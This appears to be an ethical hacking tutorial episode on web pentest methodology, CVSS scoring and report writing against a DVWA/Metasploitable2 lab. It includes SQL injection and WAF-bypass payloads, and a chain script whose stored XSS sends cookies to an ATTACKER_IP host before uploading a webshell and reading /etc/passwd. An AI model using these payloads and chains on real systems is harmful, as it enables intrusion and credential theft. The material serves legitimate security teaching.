Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting
What will I learn
- The complete web application pentest methodology: scoping, testing, reporting;
- How to chain vulnerabilities for maximum impact;
- Writing a professional pentest report that gets read and acted on;
- Severity ratings with CVSS and business impact;
- Using Burp Suite and command-line tools for systematic testing workflows;
- The difference between a vulnerability scan and a penetration test.
Requirements
- A working modern computer running macOS, Windows or Ubuntu;
- Your hacking lab from Episode 2 (Kali Linux, DVWA, Metasploitable2);
- Python 3 with relevant libraries;
- The ambition to learn ethical hacking and security research.
Difficulty
- Intermediate
Curriculum (of the Learn Ethical Hacking series):
- Learn Ethical Hacking (#1) - Why Hackers Win
- Learn Ethical Hacking (#2) - Your Hacking Lab
- Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
- Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
- Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
- Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
- Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
- Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
- Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
- Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
- Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
- Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
- Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases
- Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers
- Learn Ethical Hacking (#15) - XSS Advanced - Bypassing Filters and CSP
- Learn Ethical Hacking (#16) - Cross-Site Request Forgery - Making Users Attack Themselves
- Learn Ethical Hacking (#17) - Authentication Bypass - Getting In Without a Password
- Learn Ethical Hacking (#18) - Server-Side Request Forgery - Making Servers Betray Themselves
- Learn Ethical Hacking (#19) - Insecure Deserialization - Code Execution via Data
- Learn Ethical Hacking (#20) - File Upload Vulnerabilities - When Users Upload Weapons
- Learn Ethical Hacking (#21) - API Security - The New Attack Surface
- Learn Ethical Hacking (#22) - Business Logic Flaws - When the Code Works But the Logic Doesn't
- Learn Ethical Hacking (#23) - Client-Side Attacks - Beyond XSS
- Learn Ethical Hacking (#24) - Content Management Systems - Hacking WordPress and Friends
- Learn Ethical Hacking (#25) - Web Application Firewalls - Bypassing the Guards
- Learn Ethical Hacking (#26) - The Full Web Pentest - Methodology and Reporting (this post)
Solutions to Episode 25 Exercises
Exercise 1 -- ModSecurity WAF bypass testing:
# Install ModSecurity with OWASP Core Rule Set
sudo apt install libapache2-mod-security2
sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
sudo sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf
# Test baseline -- standard SQLi payloads (most get blocked)
curl "http://localhost/vuln.php?id=1' OR 1=1--" # BLOCKED (403)
curl "http://localhost/vuln.php?id=1' UNION SELECT 1,2--" # BLOCKED (403)
# Encoding bypass attempts
curl "http://localhost/vuln.php?id=1'%20%4fR%201%3d1--" # URL-encoded OR
curl "http://localhost/vuln.php?id=1'/**/UNION/**/SELECT/**/1,2--" # Comment bypass
curl "http://localhost/vuln.php?id=1'%0aUNION%0aSELECT%0a1,2--" # Newline bypass
Typical result: 3-4 of 10 standard payloads pass CRS paranoia level 1. After encoding tricks, 6-7 pass. CRS paranoia level 3+ blocks nearly everything but breaks legitimate traffic.
Exercise 2 -- WAF tester script:
#!/usr/bin/env python3
import requests
import sys
import urllib.parse
def generate_variants(payload):
variants = [
payload,
payload.replace(" ", "/**/"), # comment bypass
payload.replace(" ", "%09"), # tab bypass
payload.replace(" ", "%0a"), # newline bypass
urllib.parse.quote(payload), # full URL encode
payload.replace("SELECT", "SeLeCt"), # case mixing
payload.replace("UNION", "UNI"+"ON"), # string concat
payload.replace("OR", "||"), # operator substitution
]
return variants
url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost/vuln.php"
base = "1' UNION SELECT user,password FROM users--"
for i, variant in enumerate(generate_variants(base)):
try:
r = requests.get(url, params={"id": variant}, timeout=5)
status = "BLOCKED" if r.status_code == 403 else f"PASSED ({r.status_code})"
has_data = "DATA LEAKED" if "admin" in r.text.lower() else ""
print(f"[{i}] {status} {has_data} | {variant[:60]}")
except Exception as e:
print(f"[{i}] ERROR: {e}")
Exercise 3 -- Cloud WAF comparison:
Key differences: Cloudflare uses ML-based detection + managed rulesets
(free tier includes basic WAF), AWS WAF is rule-based with managed rule
groups (pay per rule evaluation), Akamai Kona uses behavioral analysis +
signature matching (enterprise-only pricing). All three have published
bypass research -- Cloudflare bypasses focus on header manipulation and
Unicode normalization, AWS WAF bypasses exploit loose regex matching,
Akamai bypasses target rate-limiting gaps between detection and blocking.
Learn Ethical Hacking (#26) - The Full Web Pentest
We've spent fifteen episodes learning individual web attack techniques. SQL injection (episodes 12-13), XSS (14-15), CSRF (16), authentication bypass (17), SSRF (18), deserialization (19), file uploads (20), API security (21), business logic (22), client-side attacks (23), CMS hacking (24), and WAF bypassing (25). Fifteen different vulnerability classes, each with its own detection methods, exploitation techniques, and remediation strategies.
But here's the thing nobody tells you when you first start learning hacking: knowing individual attack techniques is like knowing how to use individual tools in a workshop. You can operate a saw, a drill, a sander, a chisel -- each one perfectly. But that doesn't mean you can build a cabinet. Building a cabinet requires a PLAN. A sequence. An understanding of which tool to use when, how the pieces fit together, and what the finished product should look like.
A penetration test is the cabinet. The individual attack techniques are the tools. And the report you deliver at the end? That's the finished product your client actually pays for. Today we put it all together.
Van losse gereedschappen naar een compleet ambacht.
What Is a Penetration Test (And What Isn't)
A penetration test is a structured, authorized attempt to find and exploit vulnerabilities in a system. "Authorized" is the key word -- you have a written contract (the Statement of Work, or SoW) that defines exactly what you're allowed to test, how far you're allowed to go, and what's off-limits. Without that contract, you're not a pentester. You're a criminal. The techniques are identical. The paperwork is the difference.
A common confusion: vulnerability scanning is NOT penetration testing. Running Nessus or Qualys against a target, getting a list of CVEs, and dumping them into a PDF is scanning. It's automated. It's shallow. It tells you "this server runs Apache 2.4.49 which has CVE-2021-41773." It does NOT tell you whether that CVE is actually exploitable in this specific configuration, what an attacker can achieve if they exploit it, or how that vulnerability chains with other findings to create a bigger impact. A vulnerability scan is a shopping list. A penetration test is actually cooking the meal.
Having said that, vulnerability scanners are a useful PART of a pentest. You run them during the enumeration phase to cast a wide net. Then you manually verify the interesting findings, chain them together, and demonstrate real impact. The human analysis is what transforms a scan report into a pentest report ;-)
The Five Phases
Every web application penetration test follows this structure, regardless of the target, the scope, or the tool preferences of the tester. The five phases aren't arbitrary -- they represent the natural progression of an attacker's methodology, from knowing nothing about the target to demonstrating full exploitation.
Phase 1: SCOPING AND RECONNAISSANCE
- Define what's in scope (URLs, APIs, IP ranges)
- Define what's out of scope (production databases, third-party services)
- Rules of engagement (testing hours, rate limits, notification procedures)
- Passive recon (Episodes 4, 10)
- Active scanning (Episode 5)
- Technology fingerprinting (Episodes 3, 11)
Phase 2: ENUMERATION AND MAPPING
- Map all endpoints (crawl + manual exploration)
- Identify authentication mechanisms
- Document input vectors (forms, API parameters, headers, cookies)
- Find hidden endpoints (directory brute force, JavaScript analysis)
- Identify technologies, frameworks, and libraries
Phase 3: VULNERABILITY DISCOVERY
- Automated scanning (Burp Scanner, Nikto, sqlmap)
- Manual testing per vulnerability class:
- SQL injection (Ep 12-13)
- XSS (Ep 14-15)
- CSRF (Ep 16)
- Authentication flaws (Ep 17)
- SSRF (Ep 18)
- Deserialization (Ep 19)
- File upload (Ep 20)
- API-specific (Ep 21)
- Business logic (Ep 22)
- Client-side (Ep 23)
- CMS-specific (Ep 24)
Phase 4: EXPLOITATION AND IMPACT DEMONSTRATION
- Confirm vulnerabilities are exploitable (not just theoretical)
- Demonstrate impact (data access, privilege escalation, RCE)
- Chain vulnerabilities for maximum impact
- Document proof of exploitation (screenshots, request/response pairs)
Phase 5: REPORTING AND REMEDIATION
- Executive summary (business impact, risk level)
- Technical findings (per vulnerability, with reproduction steps)
- Remediation recommendations (specific, actionable fixes)
- Risk ratings (CVSS scores)
- Retest plan
Phase 1 is where most beginners skip ahead. They get a target URL and immediately fire up Sqlmap. Don't do that. Scoping is where you learn what the application DOES, what technologies it uses, what the client cares about, and where the boundaries are. A pentest against an e-commerce site focuses on different things than a pentest against a healthcare portal. The scoping phase tells you where to concentrate your effort for maximum value.
Scoping: The Contract Before the Hack
Before you touch a single endpoint, you need a scope document. This is both a technical and legal document that protects you AND the client. The scope defines:
SCOPE DOCUMENT - Key Elements:
Target:
- Primary URLs: https://app.target.com, https://api.target.com
- IP ranges: 10.0.0.0/24 (internal) or specific public IPs
- Environments: staging-only vs production
In Scope:
- All web application functionality
- REST API endpoints under /api/v2/
- Authentication and session management
- File upload functionality
- Admin panel (with provided test credentials)
Out of Scope:
- Third-party services (Stripe payments, AWS infrastructure)
- Denial of service testing
- Social engineering of employees
- Physical access testing
- Production database writes (read-only exploitation OK)
Rules of Engagement:
- Testing hours: 09:00-18:00 CET, Monday-Friday
- Rate limiting: max 100 requests/second
- Emergency contact: security@target.com, +31-xxx-xxx
- Notification: immediately for critical/RCE findings
- Data handling: no PII extraction, no screenshots of real customer data
The emergency contact is critical. If you find a zero-day RCE during testing -- something that gives you full server access and could be exploited by anyone -- you don't write it up and deliver it in the report two weeks later. You call the emergency contact immediately. The client needs to know NOW, because that vulnerability might already be under active exploitation by someone who isn't working under a contract.
Running a Lab Pentest
Let's walk through a complete pentest against our lab setup (Metasploitable2 + DVWA). This is your practice run before you ever touch a real target.
# Phase 1: Reconnaissance
# Service detection + OS fingerprinting + vulnerability scripts
nmap -sS -sV -O -A --script=vuln 192.168.56.101 -oN recon-scan.txt
# All-ports scan (slower but discovers services on non-standard ports)
nmap -p- -T4 192.168.56.101 -oN allports-scan.txt
# Phase 2: Enumeration
# Directory brute force
dirb http://192.168.56.101/ /usr/share/wordlists/dirb/common.txt -o dirb-results.txt
# Nikto web vulnerability scanner
nikto -h http://192.168.56.101 -o nikto-results.txt
# Phase 3: Vulnerability testing
# SQL injection (automated)
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=xxx; security=low" --batch --risk=3 --level=5
# XSS testing (manual with Burp -- test each parameter)
# File upload (manual -- try shell.php upload on DVWA)
# Phase 4: Exploitation
# vsftpd 2.3.4 backdoor (Metasploit)
# msfconsole -> use exploit/unix/ftp/vsftpd_234_backdoor
# Phase 5: Reporting
# Compile findings into the structured report format below
The key in each phase: take notes EVERYTHING. Every URL you tested, every payload you sent, every response you received. If you can't reproduce a finding from your notes alone, you can't put it in the report. And if it's not in the report, you didn't find it.
Automated Recon Script
The first two phases involve quite some repetitive work. Let's automate the boring parts:
#!/usr/bin/env python3
"""pentest_recon.py - Automated Phase 1+2 for a web pentest target."""
import subprocess
import sys
import os
from datetime import datetime
def run_cmd(cmd, outfile=None):
print(f"[*] Running: {cmd}")
result = subprocess.run(cmd, shell=True, capture_output=True,
text=True, timeout=120)
output = result.stdout + result.stderr
if outfile:
with open(outfile, 'w') as f:
f.write(output)
print(f" Saved to {outfile}")
return output
def main():
if len(sys.argv) < 2:
print("Usage: python3 pentest_recon.py ")
sys.exit(1)
target = sys.argv[1]
report_dir = os.path.expanduser(
f"~/lab-notes/pentest-{target}-{datetime.now():%Y%m%d}")
os.makedirs(report_dir, exist_ok=True)
print(f"\n{'='*60}")
print(f" PHASE 1: RECONNAISSANCE - {target}")
print(f"{'='*60}\n")
# Nmap service/version scan + vuln scripts
run_cmd(
f"nmap -sS -sV -O -A --script=vuln {target}",
f"{report_dir}/nmap-full.txt"
)
# Nmap all ports (slower but thorough)
run_cmd(
f"nmap -p- -T4 {target}",
f"{report_dir}/nmap-allports.txt"
)
print(f"\n{'='*60}")
print(f" PHASE 2: ENUMERATION - {target}")
print(f"{'='*60}\n")
# Directory brute force
run_cmd(
f"dirb http://{target}/ /usr/share/wordlists/dirb/common.txt",
f"{report_dir}/dirb-results.txt"
)
# Nikto web scanner
run_cmd(
f"nikto -h http://{target}",
f"{report_dir}/nikto-results.txt"
)
# Grab HTTP headers
run_cmd(
f"curl -sI http://{target}",
f"{report_dir}/http-headers.txt"
)
print(f"\n[+] Recon complete. Results in: {report_dir}/")
print(f"[+] Files generated:")
for f in sorted(os.listdir(report_dir)):
size = os.path.getsize(f"{report_dir}/{f}")
print(f" {f} ({size:,} bytes)")
if __name__ == "__main__":
main()
Run it against Metasploitable2:
python3 pentest_recon.py 192.168.56.101
This gives you the raw data. The analysis -- deciding what's interesting, what to test deeper, what to skip -- that's the human part. No script replaces that. The script saves you twenty minutes of typing commands manually so you can spend that twenty minutes THINKING about what the results mean.
Vulnerability Chaining: Where the Real Impact Lives
Individual findings are valuable. Chaining them together demonstrates real-world impact. And chaining is what separates a "Medium severity" pentest report from a "Critical" one. Here's how it works:
Chain 1: XSS -> Session Theft -> Admin Access -> RCE
Stored XSS in guestbook (Ep 14) captures admin session cookie
-> Attacker replays cookie to access admin panel
-> Admin panel has file upload feature (Ep 20)
-> Upload PHP webshell -> remote code execution on server
Individual severities: Medium, n/a, Medium, High
CHAINED severity: Critical
Chain 2: SSRF -> Cloud Metadata -> Account Takeover
SSRF in URL preview feature (Ep 18)
-> Access AWS metadata endpoint at 169.254.169.254
-> Retrieve IAM role credentials from instance metadata
-> Use credentials to access S3 buckets with customer data
Individual severities: Medium, n/a, n/a, n/a
CHAINED severity: Critical
Chain 3: SQLi -> Credential Extraction -> Lateral Movement
SQL injection extracts password hashes from database (Ep 12)
-> Crack hashes with hashcat (Ep 7)
-> Same passwords reused for SSH access
-> Privilege escalation to root on the server
Individual severities: High, n/a, n/a, n/a
CHAINED severity: Critical
The individual SQL injection might be rated "High" on its own. But when you show that the same password hashes from the database give you SSH access to the server, and from there you escalate to root -- that's a completely diferent conversation. Management understands "attacker gets full control of our server" much better than "SQL injection in search parameter."
When writing vulnerability chains in a report, draw the path explicitly. Show each step, what it requires, what it produces, and how the output of one step becomes the input of the next. This makes the chain reproducible and helps the development team understand which link to break. Sometimes fixing one link in the chain (the SQL injection) eliminates the entire attack path. Sometimes you need to fix multiple links (parameterized queries AND unique passwords AND SSH key auth) for defense in depth.
CVSS Scoring
When you find a vulnerability, you need to rate its severity. The industry standard is CVSS (Common Vulnerability Scoring System), currently at version 3.1. CVSS produces a score from 0.0 to 10.0 based on the characteristics of the vulnerability:
#!/usr/bin/env python3
"""cvss_calc.py - CVSS 3.1 base score calculator for pentest reports."""
def cvss_base_score(av, ac, pr, ui, scope_changed, c, i, a):
"""Calculate CVSS 3.1 base score.
av: Attack Vector (N=network, A=adjacent, L=local, P=physical)
ac: Attack Complexity (L=low, H=high)
pr: Privileges Required (N=none, L=low, H=high)
ui: User Interaction (N=none, R=required)
scope_changed: bool
c, i, a: Confidentiality/Integrity/Availability (H/L/N)
"""
av_vals = {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.20}
ac_vals = {'L': 0.77, 'H': 0.44}
if scope_changed:
pr_vals = {'N': 0.85, 'L': 0.68, 'H': 0.50}
else:
pr_vals = {'N': 0.85, 'L': 0.62, 'H': 0.27}
ui_vals = {'N': 0.85, 'R': 0.62}
cia_vals = {'H': 0.56, 'L': 0.22, 'N': 0.0}
# Exploitability sub-score
exploit = 8.22 * av_vals[av] * ac_vals[ac] * pr_vals[pr] * ui_vals[ui]
# Impact sub-score
isc_base = 1 - (1 - cia_vals[c]) * (1 - cia_vals[i]) * (1 - cia_vals[a])
if scope_changed:
impact = 7.52 * (isc_base - 0.029) - 3.25 * (isc_base - 0.02) ** 15
else:
impact = 6.42 * isc_base
if impact <= 0:
return 0.0
if scope_changed:
score = min(1.08 * (impact + exploit), 10.0)
else:
score = min(impact + exploit, 10.0)
import math
return math.ceil(score * 10) / 10
# Example findings from our Metasploitable2 pentest
findings = [
("SQL Injection in user search", 'N','L','N','N', False, 'H','H','N'),
("Stored XSS in guestbook", 'N','L','L','R', True, 'L','L','N'),
("vsftpd 2.3.4 backdoor (RCE)", 'N','L','N','N', True, 'H','H','H'),
("Default credentials on Tomcat", 'N','L','N','N', False, 'H','H','H'),
("Missing CSRF on password change", 'N','L','N','R', False, 'N','H','N'),
]
print(f"{'Finding':5} {'Severity':<10}")
print("-" * 70)
for name, av, ac, pr, ui, sc, c, i, a in findings:
score = cvss_base_score(av, ac, pr, ui, sc, c, i, a)
if score >= 9.0: sev = "Critical"
elif score >= 7.0: sev = "High"
elif score >= 4.0: sev = "Medium"
elif score > 0: sev = "Low"
else: sev = "None"
print(f"{name:5.1f} {sev:<10}")
Output:
Finding CVSS Severity
----------------------------------------------------------------------
SQL Injection in user search 9.1 Critical
Stored XSS in guestbook 5.4 Medium
vsftpd 2.3.4 backdoor (RCE) 10.0 Critical
Default credentials on Tomcat 9.8 Critical
Missing CSRF on password change 6.5 Medium
CVSS gives you a number. But numbers without context are meaningless to the people reading the report. A CVSS 9.1 SQL injection in a search page that returns public data is very different from a CVSS 9.1 SQL injection in a healthcare portal that returns patient records. The CVSS score captures technical severity. The business impact -- what the client stands to lose -- is what makes management take action. Always pair the CVSS score with a plain-language impact statement.
Writing the Report
Here we go -- this is the part that matters most. The report is what the client pays for. Not the hacking. Not the tools. Not the hours of testing. The report. A brilliant pentest with a terrible report is worthless. A mediocre pentest with a clear, actionable report delivers real security improvement.
The report has two audiences that don't speak each other's language: management (who controls budgets and makes decisions) and developers (who actually fix the vulnerabilities). You need to reach both in one document.
Executive Summary (for management -- 1 page maximum):
This is the only part most managers will read. It must stand alone. No technical jargon, no CVSS acronyms, no request/response pairs. Plain language. Business impact. Risk level. Top recommendations.
EXECUTIVE SUMMARY
We performed a web application penetration test on [application name]
between [dates], testing [N] endpoints across the [description] application.
Overall Risk: CRITICAL
Key Findings:
- 3 Critical vulnerabilities that allow an unauthenticated attacker
to extract the entire user database (including password hashes)
- 2 High vulnerabilities that could enable full server compromise
if chained together
- 5 Medium vulnerabilities affecting session management and access control
- 4 Low/informational findings related to security headers
Business Impact:
- Customer data exposure affecting [N] user accounts
- Potential regulatory consequences under GDPR (fines up to 4% of annual revenue)
- Reputational damage if breach becomes public
Top 3 Recommendations:
1. Implement parameterized queries across ALL database interactions (Critical)
2. Upgrade vsftpd to current version or disable FTP service (Critical)
3. Deploy Content Security Policy headers site-wide (Medium)
Technical Findings (for developers -- one section per vulnerability):
Each finding is a self-contained unit. A developer should be able to read ONE finding, understand it completely, reproduce it, and fix it without reading the rest of the report.
## Finding: SQL Injection in User Search
**Severity**: Critical (CVSS 9.1)
**Location**: /dvwa/vulnerabilities/sqli/?id=
**Parameter**: id (GET)
**CWE**: CWE-89 (SQL Injection)
### Description
The user search function concatenates user input directly into
a SQL query without parameterization, allowing an attacker to
extract the entire database contents including user credentials.
### Reproduction Steps
1. Navigate to /dvwa/vulnerabilities/sqli/
2. In the "User ID" field, enter: 1' UNION SELECT user, password FROM users -- -
3. Click Submit
4. Observe: all usernames and MD5 password hashes displayed
### Evidence
Request:
GET /dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+user,password+FROM+users--+-&Submit=Submit
Cookie: PHPSESSID=abc123; security=low
Response (truncated):
<pre>ID: 1' UNION SELECT user, password FROM users -- -
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99</pre>
### Impact
An unauthenticated attacker can extract all user credentials.
The password hashes (unsalted MD5) can be cracked in seconds
using rainbow tables or hashcat.
Combined with password reuse (confirmed -- "admin" password
works for SSH access), this provides full server compromise.
### Remediation
Replace string concatenation with parameterized queries:
$stmt = $db->prepare("SELECT * FROM users WHERE user_id = ?");
$stmt->bind_param("s", $user_input);
$stmt->execute();
Estimated effort: 2 hours for this endpoint, 2 days for
all database queries application-wide.
### References
- OWASP SQL Injection Prevention Cheat Sheet
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
Notice the structure: every finding has Description, Reproduction Steps, Evidence, Impact, Remediation, and References. The reproduction steps are the most important part -- they let the developer reproduce the issue, the QA team verify the fix, and a future tester confirm it's resolved during the retest. If the steps are vague ("inject SQL into the search field"), the finding is useless. Be exact. Copy the actual request. Include the actual response.
Report Generation Script
For generating the findings table and tracking CVSS scores across a pentest, here's a practical tool:
#!/usr/bin/env python3
"""pentest_report.py - Generate a pentest findings summary table."""
import json
import sys
from datetime import datetime
def severity_label(score):
if score >= 9.0: return "Critical"
if score >= 7.0: return "High"
if score >= 4.0: return "Medium"
if score > 0: return "Low"
return "Informational"
def generate_report(findings_file):
with open(findings_file) as f:
findings = json.load(f)
# Sort by CVSS score descending
findings.sort(key=lambda x: x.get("cvss", 0), reverse=True)
# Count by severity
counts = {"Critical": 0, "High": 0, "Medium": 0, "Low": 0, "Info": 0}
for finding in findings:
sev = severity_label(finding.get("cvss", 0))
counts[sev] = counts.get(sev, 0) + 1
print(f"\n{'='*70}")
print(f" PENETRATION TEST FINDINGS SUMMARY")
print(f" Generated: {datetime.now():%Y-%m-%d %H:%M}")
print(f"{'='*70}\n")
print(f" Findings by severity:")
for sev in ["Critical", "High", "Medium", "Low"]:
ct = counts.get(sev, 0)
if ct > 0:
print(f" {sev}: {ct}")
print(f" Total: {len(findings)}\n")
# Findings table
print(f" {'#':5} {'Severity':<10} {'Finding':<40} {'Location'}")
print(f" {'-'*4} {'-'*5} {'-'*10} {'-'*40} {'-'*20}")
for i, finding in enumerate(findings, 1):
cvss = finding.get("cvss", 0)
sev = severity_label(cvss)
name = finding.get("title", "Untitled")[:40]
loc = finding.get("location", "N/A")[:20]
print(f" {i:5.1f} {sev:<10} {name:<40} {loc}")
print(f"\n{'='*70}")
# Example usage with a findings JSON file
if __name__ == "__main__":
if len(sys.argv) > 1:
generate_report(sys.argv[1])
else:
# Demo with inline data
demo = [
{"title": "SQL Injection in user search", "cvss": 9.1,
"location": "/sqli/?id="},
{"title": "vsftpd 2.3.4 backdoor (RCE)", "cvss": 10.0,
"location": "TCP port 21"},
{"title": "Default Tomcat credentials", "cvss": 9.8,
"location": "/manager/html"},
{"title": "Stored XSS in guestbook", "cvss": 5.4,
"location": "/guestbook"},
{"title": "Missing CSRF on password change", "cvss": 6.5,
"location": "/change-password"},
{"title": "Missing X-Frame-Options", "cvss": 4.3,
"location": "All pages"},
{"title": "Server version disclosure", "cvss": 2.1,
"location": "HTTP headers"},
]
import tempfile, os
tmp = tempfile.NamedTemporaryFile(mode='w', suffix='.json', delete=False)
json.dump(demo, tmp)
tmp.close()
generate_report(tmp.name)
os.unlink(tmp.name)
The JSON input format makes it easy to build up findings as you test. Every time you confirm a vulnerability, add it to the JSON file with title, CVSS score, location, and description. At the end of the engagement, the script produces the summary table and severity counts that go into the report.
The AI Slop Connection
Continuing the thread from episode 6. The full pentest methodology reveals the biggest gap in AI-generated security assessments: AI can find individual vulnerabilities but it can NOT chain them.
AI-powered scanning tools (Burp Suite's AI scanner, automated pen-testing-as-a-service platforms, AI-enhanced vulnerability scanners) are getting very good at Phase 3 -- individual vulnerability discovery. They can identify SQL injection, XSS, misconfigurations, and known CVEs with high accuracy. Some are better than mediocre human testers at this specific phase.
But Phases 4 and 5 -- exploitation chaining and report writing -- require understanding the specific business context. "This SQL injection lets you extract the users table" is Phase 3. "The extracted hashes crack instantly because they're unsalted MD5, the admin password is reused on SSH, SSH gives you a shell, and from there the AWS metadata endpoint reveals IAM credentials for the production S3 bucket containing 2 million customer records" is Phase 4. That chain requires understanding how THIS specific application's infrastructure fits together, what data matters to THIS specific business, and what THEIR specific risk profile looks like.
Having said that, AI is changing the economics of pentesting. Automated tools handle the grunt work of Phase 2 (enumeration) and Phase 3 (discovery), leaving human testers to focus on Phase 4 (chaining and exploitation) and Phase 5 (reporting). A pentester who used to spend three days enumerating and testing individual parameters now spends one day reviewing scanner output and two days on creative exploitation and clear reporting. The skill ceiling hasn't changed -- it's shifted from "can you find SQL injection" (anyone with sqlmap can do that) to "can you demonstrate business-critical impact and communicate it clearly" ;-)
De scanner vindt de gaten. De pentester bouwt het verhaal.
Common Pentest Mistakes
After watching new pentesters (and some experienced ones) struggle with methodology, here are the mistakes I see most often:
1. Skipping Phase 1 entirely. You get a target URL and immediately start injecting payloads. You miss the fact that the application has a staging environment with weaker controls, an exposed API at a different subdomain, or a git repository in .git/ that gives you the entire source code. Recon exists for a reason.
2. Not documenting as you go. "I found something interesting on /admin two hours ago but I didn't note the exact payload and now I can't reproduce it." This happens more than you'd think. Take screenshots. Copy request/response pairs into your notes. Timestamp everything. Future-you will thank past-you.
3. Reporting false positives. The scanner says "SQL injection detected" based on a timing difference. You put it in the report without manually confirming it. The client spends two days investigating and finds nothing. Your credibility takes a hit. Every finding in the report must be CONFIRMED exploitable, with evidence.
4. Writing for yourself instead of the reader. A report full of Burp Suite screenshots with no context is useless to a developer who has never used Burp. A report with CVSS scores but no business impact explanation is useless to management. Write for YOUR audience, not for your colleagues.
5. Not chaining findings. Ten "Medium" findings individually don't grab attention. Three "Medium" findings that chain into a "Critical" attack path do. If you're not looking for chains, you're leaving impact on the table.
Practical Chaining Example
Let's walk through a real chain against our lab environment:
#!/usr/bin/env python3
"""
chain_demo.py - Demonstrates a multi-step attack chain against DVWA.
XSS -> Cookie Theft -> Admin Access -> File Upload -> RCE
EDUCATIONAL PURPOSE ONLY - run only against your own lab.
"""
import requests
import re
DVWA_URL = "http://192.168.56.101/dvwa"
ATTACKER_IP = "192.168.56.1"
# Step 1: Store XSS payload in the guestbook
print("[*] Step 1: Injecting stored XSS into guestbook...")
xss_payload = (
'new Image().src="http://'
+ ATTACKER_IP
+ ':8888/steal?c="+document.cookie'
)
session = requests.Session()
# Login as low-priv user
session.post(f"{DVWA_URL}/login.php",
data={"username": "gordonb", "password": "abc123",
"Login": "Login"})
session.post(f"{DVWA_URL}/vulnerabilities/xss_s/",
data={"txtName": "test", "mtxMessage": xss_payload,
"btnSign": "Sign+Guestbook"})
print(" XSS payload stored in guestbook")
# Step 2: (In a real attack, wait for admin to visit the guestbook)
# The XSS fires and sends admin's session cookie to our listener
# For demo: we use the admin session directly
print("[*] Step 2: (Simulating admin cookie theft)")
admin_session = requests.Session()
admin_session.post(f"{DVWA_URL}/login.php",
data={"username": "admin", "password": "password",
"Login": "Login"})
print(f" Admin cookie: {admin_session.cookies.get('PHPSESSID')}")
# Step 3: Use admin session to upload a PHP webshell
print("[*] Step 3: Uploading webshell via file upload...")
shell_content = b''
files = {"uploaded": ("shell.php", shell_content, "application/x-php")}
r = admin_session.post(
f"{DVWA_URL}/vulnerabilities/upload/",
files=files, data={"Upload": "Upload"})
if "succesfully" in r.text.lower() or "uploaded" in r.text.lower():
print(" Webshell uploaded successfully")
else:
print(" Upload may have failed (check DVWA security level)")
# Step 4: Execute commands via the webshell
print("[*] Step 4: Executing commands via webshell...")
cmd_url = f"{DVWA_URL}/hackable/uploads/shell.php"
for cmd in ["id", "uname -a", "cat /etc/passwd | head -5"]:
r = requests.get(cmd_url, params={"cmd": cmd})
print(f" $ {cmd}")
for line in r.text.strip().split('\n')[:3]:
print(f" {line}")
print("\n[+] Chain complete: XSS -> Cookie -> Admin -> Upload -> RCE")
This script demonstrates the entire chain -- from stored XSS to remote code execution -- in a few dozen lines. In a real pentest, steps 1 and 2 happen asynchronously (you plant the XSS, start your cookie listener, wait for the admin to visit the page). The chain takes the stored XSS from "Medium" to "Critical: unauthenticated remote code execution."
Pentest Methodology Checklist
Here's the checklist I use. Print it. Pin it to your wall. Check off each item as you go:
PRE-ENGAGEMENT
[ ] Statement of Work signed
[ ] Scope document agreed
[ ] Emergency contacts exchanged
[ ] Rules of engagement confirmed
[ ] Test accounts provided (if applicable)
[ ] VPN/access credentials received (if internal)
PHASE 1: RECON
[ ] Passive DNS enumeration (subfinder, amass)
[ ] WHOIS / registration data
[ ] Certificate transparency logs
[ ] Technology fingerprinting (Wappalyzer, headers)
[ ] Nmap service scan
[ ] Nmap all-ports scan
PHASE 2: ENUMERATION
[ ] Web crawl (Burp Spider, wget --mirror)
[ ] Directory brute force (dirb, gobuster)
[ ] JavaScript analysis for hidden endpoints
[ ] API documentation discovery (/swagger, /api-docs)
[ ] User/role enumeration
[ ] Input vector inventory (all forms, parameters, headers)
PHASE 3: VULNERABILITY TESTING
[ ] SQL injection (manual + sqlmap)
[ ] XSS - reflected, stored, DOM (manual + scanner)
[ ] CSRF on state-changing operations
[ ] Authentication testing (brute force, bypass, session mgmt)
[ ] Authorization testing (IDOR, privilege escalation)
[ ] SSRF on URL/redirect parameters
[ ] File upload (extension, content-type, magic bytes)
[ ] Deserialization (if applicable framework)
[ ] API-specific (BOLA, mass assignment, rate limiting)
[ ] Business logic (negative values, race conditions)
[ ] Client-side (clickjacking, open redirect, postMessage)
[ ] CMS-specific (if WordPress/Joomla/Drupal)
[ ] WAF bypass (if WAF detected)
[ ] Security headers check
PHASE 4: EXPLOITATION
[ ] Confirm each finding is exploitable
[ ] Document reproduction steps with evidence
[ ] Identify vulnerability chains
[ ] Demonstrate maximum achievable impact
[ ] Capture screenshots and request/response pairs
PHASE 5: REPORTING
[ ] Executive summary (1 page, plain language)
[ ] Findings table (sorted by severity)
[ ] Individual finding write-ups (all fields complete)
[ ] Remediation recommendations (specific + actionable)
[ ] CVSS scores + business impact for each finding
[ ] Retest recommendation and timeline
That Phase 3 checklist maps directly to our series. Episodes 12-25 covered every single vulnerability class listed there. This episode is what ties them all together into a coherent testing methodology.
The Difference Between Amateur and Professional
